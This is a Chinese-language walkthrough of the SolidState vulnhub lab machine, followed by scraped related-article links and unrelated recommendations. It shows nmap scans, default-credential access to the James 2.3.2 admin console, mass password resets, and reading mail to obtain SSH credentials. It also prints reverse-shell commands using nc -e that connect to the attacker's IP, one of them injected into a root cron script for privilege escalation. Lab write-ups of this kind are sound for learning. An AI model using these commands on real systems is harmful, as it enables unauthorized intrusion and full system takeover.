声明!本文章及工具分享仅仅只是供大家学习交流为主,如有任何触犯法律的行为,均与本人及团队无关!!!

工具链接:https://pan.quark.cn/s/33795a10039c

一、靶机搭建

点击扫描虚拟机

选择靶机使在文件夹即可

建议kali和靶机的网络都使用NAT模式

二、信息收集

1. 扫出ip信息

nmap -sN 192.168.108.0/24

扫描结果:

排除kali自身,即192.168.108.138为靶机ip

2. 查找开放端口和服务信息

nmap 192.168.108.138 -p 1-65535
nmap -sV 192.168.108.138

扫描结果:

可用信息:

22/tcp open ssh

25/tcp open smtp

80/tcp open http

110/tcp open pop3

119/tcp open nntp

4555/tcp open rsip

3. 指纹探测找出系统版本信息

nmap 192.168.108.138 -p 22,25,80,110,119,4555 -sV -sC -O --version-all

结果如下

可用信息:

Linux 3.2-4.9

CPE: cpe:/o:linux:linux_kernel

三、寻找攻击点并攻击

1. 寻找信息

访问开启的web端口,发现4555端口可能存在用户名密码登录

搜索相关漏洞,发现默认账号密码

搜索此漏洞,有两个可以利用的脚本

searchsploit JAMES 2.3.2

下载下来备用

searchsploit -m 50347.py
python 50347.py -h

利用方式为

python 50347.py 靶机ip 攻击机ip 监听端口

2. 尝试攻击

连接此端口,输入账号密码登录

nc 192.168.108.138 4555
help

以上是一个pop3的协议,翻译过来看看

help:显示此帮助信息
listusers:显示现有账户
countusers:显示账户数量
adduser [用户名] [密码]:添加新用户
verify [用户名]:验证指定用户是否存在
deluser [用户名]:删除现有用户
setpassword [用户名] [密码]:设置用户密码
setalias [用户] [别名]:将 ' 用户 ' 的所有邮件本地转发到 ' 别名'
showalias [用户名]:显示用户的当前邮件别名
unsetalias [用户]:取消 ' 用户 ' 的别名
setforwarding [用户名] [邮箱地址]:将用户的邮件转发到另一个邮箱地址
showforwarding [用户名]:显示用户当前的邮件转发设置
unsetforwarding [用户名]:取消转发
user [存储库名]:切换到另一个用户存储库
shutdown:关闭当前 JVM(当 James 作为守护进程运行时很方便)
quit:关闭连接

执行命令

listusers
setpassword 账号名

更改所有账户的密码为1,留着备用

先看看telnet连接后的命令使用,大小写任意

USER: 提供用户名以进行身份验证。
PASS: 提供密码以进行身份验证。
LIST: 列出邮件。
RETR: 查看或下载指定邮件。
DELE: 删除指定邮件。
QUIT: 结束会话。

再看看回显信息

user 用户名: 这是用来输入用户名的命令。
+OK: 服务器确认接收用户名。
pass 密码: 这是用来输入密码的命令。
+OK Welcome 用户名: 服务器确认密码正确,并欢迎用户。
-ERR:表示返回错误
list: 这是一个常见的邮件协议命令,用于列出邮件信息,如邮件数量及其大小。
+OK 1 743: 服务器响应,表示成功获取信息,通常会返回邮件的数量和大小,1代表一个邮件,743代表字节大小

利用telnet命令连接,因为前两个用户并没有邮箱信息,所以就不放截图了,这里看john用户,查看邮件信息

telnet ip
user john
pass 1
retr 1

发现提示我们去看mindy账户,同样的方式访问mindy账户,在第二个邮件里发现登录名和密码

账号:mindy

密码:P@55W0rd1!2@

3. ssh登录并利用

尝试ssh登录

ssh mindy@192.168.108.138

-rbash:被限制的bash,此bash命令被限制,按两次tab看看有什么命令可以用

看看etc/passwd里面有什么sh可以利用

可以尝试利用mindy的rbash进行shell反弹

4. 脚本利用

编辑刚才的脚本,修改一下

vim 50347.py
pyload = 'nc -e bin/sh 攻击机ip 监听端口'

先执行一下脚本

python3 50347.py 192.168.108.138 192.168.108.130 4444

5. 获得完整权限

一个面板执行ssh登录,一个面板监听

成功获得

四、提权

因为是james账户提示的mindy,所以看看进程

发现可疑信息opt文件夹

cd opt
ls -ll
cat tmp.py

这个代码的意思是定期删除/tmp目录下的内容

写个反弹shell提权,并开启端口监听

echo 'import os; os.system("/bin/nc 192.168.108.130 9999 -e /bin/bash")' > /opt/tmp.py
cat tmp.py
python tmp.py

此时即可获得root权限

SolidState靶机通关教程及提权的更多相关文章

  1. 21. 从一道CTF靶机来学习mysql-udf提权

    这次测试的靶机为 Raven: 2 这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU 此次靶机主要学习 PHPMailer 跟 mymq ...

  2. 靶机DC-2 rbash绕过+git提权

    这个靶机和DC-1一样,一共5个flag.全部拿到通关. root@kali:/home/kali# nmap -sP 192.168.1.* 先扫一下靶机的IP地址,拿到靶机的地址为192.168. ...

  3. <<< 入侵网站类提权注入教程

    ---------------------------------------入侵类教程-------------------------------------------------------- ...

  4. [视频]K8飞刀 mysql注入点拿shell & UDF提权教程

    [视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m

  5. vulnhub靶机之DC6实战(wordpress+nmap提权)

    0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...

  6. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  7. Cobalt Strike系列教程第七章:提权与横向移动

    Cobalt Strike系列教程分享如约而至,新关注的小伙伴可以先回顾一下前面的内容: Cobalt Strike系列教程第一章:简介与安装 Cobalt Strike系列教程第二章:Beacon详 ...

  8. 靶机练习 - 温故知新 - Toppo(sudo 提权)

    重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解. 开启靶机, ...

  9. basic-pentesting-1 靶机提权

    原文地址:https://www.payload.com.cn/   basic-pentesting-1 下载地址: https://www.vulnhub.com/entry/basic-pent ...

  10. udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

随机推荐

  1. es6有哪些新特性?

    1. let 和 ocnst ,可以定义块级作用域 2. 新增了箭头函数,箭头函数简化了函数定义的定义 3.新增了promise解决回调地狱问题 ps:回调地狱是我们异步请求服务器数据时,通过then ...

  2. KubeSphere 社区双周报 | 功能亮点抢“鲜”看 | 2022-09-30

    KubeSphere 从诞生的第一天起便秉持着开源.开放的理念,并且以社区的方式成长,如今 KubeSphere 已经成为全球最受欢迎的开源容器平台之一.这些都离不开社区小伙伴的共同努力,你们为 Ku ...

  3. idea高效实用快捷键【待补充】

    1.快捷键 ctrl+alt+L代码格式化 2.快捷键 ctrl+h查看hierarchy,只能查看向上向下继承关系,而不能看实现了哪些接口. 3,选中右键--Diagram可以查看实现了哪些接口 4 ...

  4. DRF-Permission组件源码分析及改编源码

    1. 权限组件源码分析 PS:下列源码为了方便理解都进行了简化,只保留了权限相关的代码 由于视图函数中继承了APIView,因此permission_classes可在视图类中进行重写. 注意点: 执 ...

  5. Nuxt.js 应用中的 nitro:build:before 事件钩子详解

    title: Nuxt.js 应用中的 nitro:build:before 事件钩子详解 date: 2024/11/4 updated: 2024/11/4 author: cmdragon ex ...

  6. Sealos Devbox 使用教程:使用 Cursor 开发一个高仿苹果官网

    本教程将通过实战案例,详细介绍如何利用 Cursor 和 Devbox 开发环境,在一天内完成专业企业官网的开发和部署.适合产品经理.初级开发者或任何想要快速搭建网站的人群. 因为业务的需要,我需要开 ...

  7. 解决MobaXterm自动断开连接,亲测有效~

    场景: 使用MobaXterm工具通过SSH连接Linux服务器,如果一段时间没有操作,MobaXterm会把连接自动断开,这个设定很是不方便.通过更改下面的设置可以使SSH保持长连接,不会自动断开.

  8. 关于MySQL表设计,测试人员可以关注哪些点

    测试人员关注数据库表设计是"测试左移"的一种手段,可以把有关数据库的潜在bug消灭在系统测试之前,从而提高交付效率. 以MySQL为例,QA可从以下方面对数据库表设计做测试的左移: ...

  9. java.lang.NoSuchMethodError: org.apache.poi.poifs.filesystem.POIFSFileSystem.<init>(Ljava/io/File;Z) 报错处理

    字面看下:没有该方法,首先应该推测有可能是Jar冲突导致的,因为一些jar中的类在升级的过程中不会向下兼容,所以有一些高级属性或方法就jar中没有,此POI就是. 可以先看下这个类的资源加载路径: C ...

  10. python的迭代器和生成器?

    python中的迭代器和生成器都是用来处理数据序列的. 迭代器 迭代器是一个可以记住遍历位置的对象,使用iter()创建一个迭代器,使用next()方法依次返回迭代器中的每一个元素,如果数组里面的数据 ...